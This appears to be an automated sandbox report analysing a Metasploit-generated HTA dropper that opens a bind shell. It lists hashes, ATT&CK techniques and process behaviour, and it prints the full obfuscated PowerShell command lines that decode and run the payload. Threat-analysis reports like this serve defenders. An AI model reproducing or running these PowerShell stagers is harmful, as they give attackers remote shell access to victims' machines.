metasploit | 82989ca18031638c484db4469a094bcf812641717e0f70480394b17ade9ded98

General

Target

82989ca18031638c484db4469a094bcf812641717e0f70480394b17ade9ded98.hta
Size

7KB
MD5

248aa4289e3739f172987f89212e4093
SHA1

1d8a58fd8e77c42c0d9f0f9d3a4d118f22c23ac5
SHA256

82989ca18031638c484db4469a094bcf812641717e0f70480394b17ade9ded98
SHA512

4e24b70280d8e56abcdc03100a28224dde1a3b07a1538dac01f5983e0ff8eb0ef5025c7d87c280255b2dc8918d0a4e0e3e98115efa9152dd11dfcffd57ed15d9
SSDEEP

192:+zPn2jh1hqT2Fr2rG71OrYf4KqLl9QhufdUk4TRQW+ZiPj2vF6hd9d:+zPn2jh1hsWr2S7Ar2qLwu1Ukny2Uhdj

Score

10^/10

metasploit backdoor execution trojan

Malware Config

Extracted

Family

metasploit

Version

windows/shell_bind_tcp

Signatures

MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
trojan backdoor metasploit
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exe

pid process

2624 powershell.exe
2604 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Modifies Internet Explorer settings 1 TTPs 1 IoCs
adware spyware

Modify Registry
T1112

Processes:

mshta.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000\Software\Microsoft\Internet Explorer\Main mshta.exe
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exepowershell.exe

pid process

2604 powershell.exe
2624 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 2604 powershell.exe
Token: SeDebugPrivilege 2624 powershell.exe

pid	process
2624	powershell.exe
2604	powershell.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

pid	process
2604	powershell.exe
2624	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2604	powershell.exe
Token: SeDebugPrivilege	2624	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

mshta.exepowershell.exe

description	pid	process	target process
PID 2020 wrote to memory of 2604	2020	mshta.exe	powershell.exe
PID 2020 wrote to memory of 2604	2020	mshta.exe	powershell.exe
PID 2020 wrote to memory of 2604	2020	mshta.exe	powershell.exe
PID 2020 wrote to memory of 2604	2020	mshta.exe	powershell.exe
PID 2604 wrote to memory of 2624	2604	powershell.exe	powershell.exe
PID 2604 wrote to memory of 2624	2604	powershell.exe	powershell.exe
PID 2604 wrote to memory of 2624	2604	powershell.exe	powershell.exe
PID 2604 wrote to memory of 2624	2604	powershell.exe	powershell.exe

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\82989ca18031638c484db4469a094bcf812641717e0f70480394b17ade9ded98.hta"
1⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:2020

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAnAHAAbwB3AGUAcgBzAGgAZQBsAGwALgBlAHgAZQAnAH0AZQBsAHMAZQB7ACQAYgA9ACQAZQBuAHYAOgB3AGkAbgBkAGkAcgArACcAXABzAHkAcwB3AG8AdwA2ADQAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACcAfQA7ACQAcwA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAUwB0AGEAcgB0AEkAbgBmAG8AOwAkAHMALgBGAGkAbABlAE4AYQBtAGUAPQAkAGIAOwAkAHMALgBBAHIAZwB1AG0AZQBuAHQAcwA9ACcALQBuAG8AcAAgAC0AdwAgAGgAaQBkAGQAZQBuACAALQBjACAAJgAoAFsAcwBjAHIAaQBwAHQAYgBsAG8AYwBrAF0AOgA6AGMAcgBlAGEAdABlACgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAKAAoACcAJwBIADQAcwBJAEEASQBzAHkAMQAyAFUAQwBBADcAVgBXAGIAVwB7ADIAfQBpAE8AQgBEACsAdgB0AEwAKwBoADIAaQBGAGwARQBTACcAJwArACcAJwBsAEoATAB5AG8AdQA2ADIAMAAwAGoAbABRAG0AaQBCAEMAMgBZAFoAQwBLAFkAdABPAGIAdQBLAEEAaQB4AFAAVAB4AEMAbAB3AGUAewAyAH0AdgBmAGIAeAB5AFMAbAByADEAdAA3ADMAbwB7ADEAfQByAFMAVwBFAFkAOAArAE0AeAA4ADgAOABNACsATQB3AGkAMwAxAEIAZQBhAHkAcwB2AGkARABsADIAewAyAH0AdAAzAFMAagBHAEcATwBNAEcAUgBvAGwAWAA0AFEAMQBwAFYASwB7ADEAfQB4AFoANwA1ADMAcQB6ADcAdQBWAE0ASwBoAHsAMgB9AFYARAA0AHIAMgBnAHkAdAAxAHgAMABlAFkAUgByACcAJwArACcAJwBQAHoAOAA3AGEAVwBaAEsAUQBXAE8AeQB7ADIAfQBhAHgAZABFAG8ARABRAGwAMAAnACcAKwAnACcAUgAyAGoASgBOAFYAMAA1AFUAOQBsAHMAaQBRAEoATwBiADYAOAB1AHkAZQArACcAJwArACcAJwBVAEwANABwAGwAZAA5AHIARgA0AHoAZgBZAFYAYQBJADcAZAByAFkAWAB4AEwAbABHAE0AVwBCADMATwB0AHoASAAwAHYAUABhAHQANgBhAFUAYQBHAHAAWAA3ACsAcQArAHUAeQA0AFAAcQArAGQAUAAyAFMAWQBwAFoAcgBxADcAVgBKAEIAbwBsAHIAQQBtAEsAbwByADMAMwBWADUANABHAGkAMwBKAHAAcgBxAFUAagB7ADIAfQBoAEsAUQA5AEYAYgBVAEwAagBaAHEATgAyAEgAYQBjADQASgBBAE8AdwA5AGsAaABjAEkAcABZADgAUwBGAFcANAB6AFAATgAxAEUAaQBLAHkASgBOADcAZgBTAHAAcgBaAEMAMgBrAHEAVABJAGMASgA5ADEARQBRAEoAQwBSAE4AMQBhAG8AeQBrAHcAZgBNADUAdgBQAGYAdABGAGwAeAArAGwAVQBXAEMAeABxAFIAbQBoAE0ATABrAHYAQwAxAFIANQBKAEgANgBwAE8AMABaAHUATQA0AFkATwBTAEsAaABIAFAAUQA4ACcAJwArACcAJwBrAFIAQwA0ADgAVgBjADEAMABIAHMAawBhACsAJwAnACsAJwAnAEkAVgBvAGsAegB4AHEAcgBLAGYAegBHAGoARABjAGkAbQB4AE8ANgB0AFMAdABxAGgARQBrAGcATgBSAGEASgBYAEkAYQBnAHYAMwBOAFAAbABRAGMAYgBJAFgAbABOADkAdwBWAEYASgBCAEIAMwBHAEUAeABrAEEAdwBPADgAUwB3ADcAQQBrAEUASABVADYARgB5ADgAdwA2AEgAbQBoAEgAJwAnACsAJwAnAEwATgA4AGgANABEAFAAMgBwAEMAewAxAH0ATgBGACcAJwArACcAJwBmACsAcgBKAGgAVgB4AFkAWABUAHMAZQBEAEoARABqADQAcgBvAHkAUQBqACsAdgB3AEoAYwBhAFcAUwByAHUAdgBkADYAJwAnACsAJwAnAGwAdQB0ADEAVQB0AFYAVQBHAFEATQBGAG0AWgBqAFQAbwBQADUAcwB7ADIAfQBvAFAAOABhADgAOABiAGkAOABkAEsAZgBRADYAbQB6AHMAawBwAEQASABwADcARwBJAGMAVQBiADgAawByAFAAWgBTAFUARQBqAEkAUwBJADUASQByAFIAUQBiAGcASAArAGEAVwBtAHkAUQBvAEUATQAnACcAKwAnACcAWQBXAFcAQQBoAFkAWgBiAGMAKwBFAHsAMQB9AHQAUABLAEwAaQBTAGQAZgBLAEsAQQB0AEkAZwB7ADEAfQB3AEkAYgBBAHAAZQBRAGMAegAxAEgANQAzAFoAUgAwADUAVAB7ADEAfQBkAGcAbABFAFkAQwAzAHsAMgB9AHcAYQB5AFYAawBKAEkARQAxAEoASwBGADYAbQB4AEsAMAArAFgAMwB5AEMAawB0AGgAbABPAEkAYwBXAEgARwBlAFMAcABYADEAVQA4AGcAaABrAEoAcQBnAHEAJwAnACsAJwAnAEsAVQAxAHAAcwBvAFUAegB3AGYASwBvACsAdQArAHQAbQBUAEYAJwAnACsAJwAnAEEAZgBwADYASQAwAE4AOQBmAHsAMgB9AEIAbQBkAHgAYgBKAHYASABxAFUAZwB5AEgAOABJAEsARQBJAHkAOABOAGYARQBwAFoAaABLAFIAcQBtAEwAVABnAEYAZwA3AGoAeQA3AEsANAA5AFUAWAA4AFcAaABqAHgAaQBCADkAdwBOAEkAagB4AEEATgBXAEoAQQA2AGUAawBHAFIASgB3AE4ATwBjAEcASAByAE4ASQA4AEsASgAxAG8AeABFAEkASgBQAFgAagBTADcARABDADYAZwBTAFIAWgBMAGsANwBNAEkATABFAHEAaQB2AE8ARgByAG0AdwBwADcANABFAHAAawBTAGsAZwBNADMASQBkAHcAZQA0ADYASwBxAGoARwBrAGkAbwBBAHAASgBsAEcAVgArAHsAMgB9AEEAOABmAGYAcQA0ACsAdQBUAFAAdABoAEIAVABCADAAYwBvAE0AbQAxAGsANwBJAFYATwBnAGcAdQAyADYASgBHAG0AQgBVAEkANQBIAEkAZwBDAEwAYgBzAEkAagBDADYAZgBrAHAATABVAHYATgBOAG8ASAA0ADUASQBPAEUAWQB5AHAARQB6AE0AMwA2AEsAMQBvADMAZAB7ADEAfQBBAHoANABYAGYAdABSAHMAZQA5AFgAMgA2AEcAQQBxAFQAUgA2ADcAZgBUAG8AYwBYADMAVQArAEkAYgBoAFkAYgB7ADIAfQA5AE0AQQArAFUARQB2AEkASwBmAGUAdQBDAFcAOABjADAAZQAwAGgAOABqACsAUQBrADIAcgB0AGYAUQB0AGMAdwBUAHoAYQAwAGMANABGADQANgBZAE8AcwBnAGUATABYADEAbQBEAGoAdQAyADQAVQAxAFQAawAyADcAcwBpAGUAdAAzAHIARAA4ADIAagBSAFMAbwAyAG0AcgBaAE4AeQBaAHEATgBsAHUAWABUAFgATQBGADQARQAxAHAAZgBiAEYAQwB3AFMAQwBpAG0AMgAwAGYANQBsAEIAUgBMAHsAMgB9AHUAVwBrADEAcQBtAHcAOAA1ADcANwBhAHUANwBTAGEATgA3AE8AMgBHADIAMABlAG8AdQB3AHcAbABQAHYAWgBOAHAAeAB6AEMATQAwAHcAQgAzADMAQgAxAEMARgBnACsAYQA3AHUANgBtAGYAcwBWAEgAdABoADkAWgBoAGoASABPAGUAcwBpAEMANgA2ADIAMwAzAGEAcwB2AHUAQgAwAGgAdgBPAGsAWQA5AFEAewAxAH0AdgBUADgAWQAnACcAKwAnACcAZABhAGsAeQA0AGgAUgBjADkAZgByAEkAdwAnACcAKwAnACcAdwB0AGIAUQBHAEwAUABHAG8AbwAxADYAVwA0AHUAUwAyADQAZgB6ADcAdQAwAE4AZAB2AHQAMwBnADAAWgBvADEASwBjADMAcQBOAE0AYQBUAHkAVgBPADQAdwBaAHQAewAxAH0AbwB6AHUANABjAGoAeABEAGIAWgBIADYAZQBXAFIAYgBkAFQASABCAE8AYgBqAGIARABTAHgAcABXADIARQBGADEAZQBUAE0AZABoAHEAKwBNAHYAUQBPAEoAMQAwAGoAcABCADEAMQBKACsAbQBEAGIAeQB5AGUATwA1AE4AOQB7ADIAfQBZAEIAWABTAHkAewAxAH0ANgArADYAUQB3AGYANwBvAHUAcwBIAFIAbQBBADEAdQBNAE8AcgBmADcAcgBvAEcAewAxAH0ARABkAHMASQBiAHQAbABJADkAOQBkAGIAKwBPAGIAOQBlAGIAagA0ADAAYgBnADMAZwBRAHYAcgBKACcAJwArACcAJwBGAHgAZQB2ADMANQBBADgAUgA3AGQAawAxAGoAMABXAHoATQBLADkASAAyAGQAaQB5AEwANAB2AHQAMwBGAFcAYQB0AEgAZwA3AEMAewAyAH0AbAByAFIAZAAzAEcAUwBMAGoARQBEAE8AawBBADEATAA3AE8AeQB5ADUATgB1AFUAWgArAEgAewAxAH0ARQBvAE4AVABaAE8ATgBmAGsAVwBTAG0ARABCAG8AagBkAEEAOABTAHkANABqAHgAcgBnAHYAMgAwAE4AJwAnACsAJwAnAGUAeQBLAEUAMQA3AFIAdQBHADcARgB7ADIAfQBYAFQAdQA3AFYAUwB6AE4AZAAnACcAKwAnACcAZQBSAEwAVQB7ADEAfQA5AHQARwB1AFgAUgAyAGQAZwB0AE8AUQB7ADEAfQA0AEEAZABXAHQAOQBFAGkAewAyAH0ARQBzAG0AcAB1AG0ANgBZAEoAMQBkADcAYwBtAHEAMAA4AEQAOQA1ACsAcwB6AFoAZgA3AHoAUgBwAHEAeQByAGIAUgBZADUATQBZAFoAdgBsAHQAcwBFAGMARABSAFYATgArACsAJwAnACsAJwAnAFYAWQB3AGEAdABBAFEASABWADYASABhADMAWABnAEkATwBqAFYAMQBCAE0AbwBMAHIAdABVADEAegBDAFoAMwBIAE8ARABzAEUAcgA3AHYAWABFAGgAUQBQAHMAQQBMAFEANgAzAEgAdwBtAEgAdwBRADUAUgA4AEQAQQBNAFgAbABRAEsAawBKADIAeQA4AFAAdQBXADIASAAzADUANwArAFUATgBVAFcAaABXAHMASgBmADgARwArAHMAZQBWADcANwBoADkAMAAzAE0AYwBtAHMANwB0AEgANQBhAGYAewAxAH0ASABoAFkATQBhAHsAMgB9ACsAcwBRAG0ARwBBAHEAUQBOAEMARABpAHMAdgBJAHsAJwAnACsAJwAnADIAfQBoAEgAdwBNAGgAQgBGAHAAaAB4AEcAKwBQADQAYwA4AGkAQQBzAGgAewAxAH0AdwBiAFgAMgBiAGkAZQBBAEIAdgByAGIAegBtAHsAMgB9AHcAWABSAEEAOABhAEUAbABRAHMAQQBBAEEAewAwAH0AewAwAH0AJwAnACkALQBmACcAJwA9ACcAJwAsACcAJwBuACcAJwAsACcAJwAvACcAJwApACkAKQApACwAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQApACkALgBSAGUAYQBkAFQAbwBFAG4AZAAoACkAKQApACcAOwAkAHMALgBVAHMAZQBTAGgAZQBsAGwARQB4AGUAYwB1AHQAZQA9ACQAZgBhAGwAcwBlADsAJABzAC4AUgBlAGQAaQByAGUAYwB0AFMAdABhAG4AZABhAHIAZABPAHUAdABwAHUAdAA9ACQAdAByAHUAZQA7ACQAcwAuAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQA9ACcASABpAGQAZABlAG4AJwA7ACQAcwAuAEMAcgBlAGEAdABlAE4AbwBXAGkAbgBkAG8AdwA9ACQAdAByAHUAZQA7ACQAcAA9AFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AFMAdABhAHIAdAAoACQAcwApADsA
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2604

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -nop -w hidden -c &([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String((('H4sIAIsy12UCA7VWbW{2}iOBD+vtL+h2iFlES'+'lJLyou6200jlQmiBC2YZCKYtObuKAixPTxClwe{2}vfbxySlr1t73o{1}rSWEY8+Mx888M+Mwi31BeaysviDl2{2}t3SjGGOMGRolX4Q1pVK{1}xZ753qz7uVMKh{2}VD4r2gyt1x0eYRr'+'Pz87aWZKQWOy{2}axdEoDQl0'+'R2jJNV05U9lsiQJOb68uye+'+'UL4pld9rF4zfYVaI7drYXxLlGMWB3OtzH0vPat6aUaGpX7+q+uy4Pq+dP2SYpZrq7VJBolrAmKor33V54Gi3JprqUj{2}hKQ9FbULjZqN2Hac4JAOw9khcIpY8SFW4zPN1EiKyJN7fSprZC2kqTIcJ91EQJCRN1aoykwfM5vPftFlx+lUWCxqRmhMLkvC1R5JH6pO0ZuM4YOSKhHPQ8'+'kRC48Vc10Hska+'+'IVokzxqrKfzGjDcimxO6tStqhEkgNRaJXIagv3NPlQcbIXlN9wVFJBB3GExkAwO8Sw7AkEHU6Fy8w6HmhH'+'LN8h4DP2pC{1}NF'+'f+rJhVxYXTseDJDj4royQj+vwJcaWSruvd6'+'lut1UtVUGQMFmZjToP5s{2}oP8a88bi8dKfQ6mzskpDHp7GIcUb8krPZSUEjISI5IrRQbgH+aWmyQoEM'+'YWWAhYZbc+E{1}tPKLiSdfKKAtIg{1}wIbApeQcz1H53ZR05T{1}dglEYC3{2}wayVkJIE1JKF6mxK0+X3yCkthlOIcWHGeSpX1U8ghkJqgq'+'KU1psoUzwfKo+u+tmTF'+'Afp6I0N9f{2}BmdxbJvHqUgyH8IKEIy8NfEpZhKRqmLTgFg7jy7K49UX8WhjxiB9wNIjxANWJA6ekGRJwNOcGHrNI8KJ1oxEIJPXjS7DC6gSRZLk7MILEqivOFrmwp74EpkSkgM3Idwe46KqjGkioApJlGV+{2}A8ffq4+uTPthBTB0coMm1k7IVOggu26JGmBUI5HIgCLbsIjC6fkpLUvNNoH45IOEYypEzM36K1o3d{1}Az4XftRse9X26GAqTR67fTocX3U+IbhYb{2}9MA+UEvIKfeuCW8c0e0h8j+Qk2rtfQtcwTza0c4F46YOsgeLX1mDju24U1Tk27siet3rD82jRSo2mrZNyZqNluXTXMF4E1pfbFCwSCim20f5lBRL{2}uWk1qmw8577au7SaN7O2G20eouwwlPvZNpxzCM0wB33B1CFg+a7u6mfsVHth9ZhjHOesiC66233asvuB0hvOkY9Q{1}vT8Y'+'daky4hRc9frIw'+'wtbQGLPGoo16W4uS24fz7u0Ndvt3g0Zo1Kc3qNMaTyVO4wZt{1}ozu4cjxDbZH6eWRbdTHBObjbDSxpW2EF1eTMdhq+MvQOJ10jpB11J+mDbyyeO5N9{2}YBXSy{1}6+6Qwf7ousHRmA1uMOrf7roG{1}DdsIbtlI99db+Ob9ebj40bg3gQvrJ'+'Fxev35A8R7dk1j0WzMK9H2diyL4vt3FWatHg7C{2}lrRd3GSLjEDOkA1L7Oyy5NuUZ+H{1}EoNTZONfkWSmDBojdA8Sy4jxrgv20N'+'eyKE17RuG7F{2}XTu7VSzNd'+'eRLU{1}9tGuXR2dgtOQ{1}4AdWt9Ei{2}Esmpum6YJ1d7cmq08D95+szZf7zRpqyrbRY5MYZvltsEcDRVN++'+'VYwatAQHV6Ha3XgIOjV1BMoLrtU1zCZ3HODsEr7vXEhQPsALQ63HwmHwQ5R8DAMXlQKkJ2y8PuW2H357+UNUWhWsJf8G+seV77h903Mcms7tH5af{1}HhYMa{2}+sQmGAqQNCDisvI{'+'2}hHwMhBFphxG+P4c8iAsh{1}wbX2bieABvrbzm{2}wXRA8aElQsAAA{0}{0}')-f'=','n','/')))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))
3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2624

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
Filesize
7KB

MD5
6ef74556178d723c0c3c71573f0110f1

SHA1
81e2b9cee41e15368af391f51fe2dc61fd89697a

SHA256
10b611b00703b3d8b58a34aa3d9a8e94514bef1f7c78b1833cdd34787ecfcfe7

SHA512
534fb2d7c6f35a6d584818ab499d55e906ec215332dbf36088ee666a7cc33e4c7fe755edb95d16794eb3eeacecfa82f4a6ab0a132c6bbaaf2f7aa6cb8de2dc6c

Download Submit
memory/2624-7-0x0000000004E60000-0x0000000004E61000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing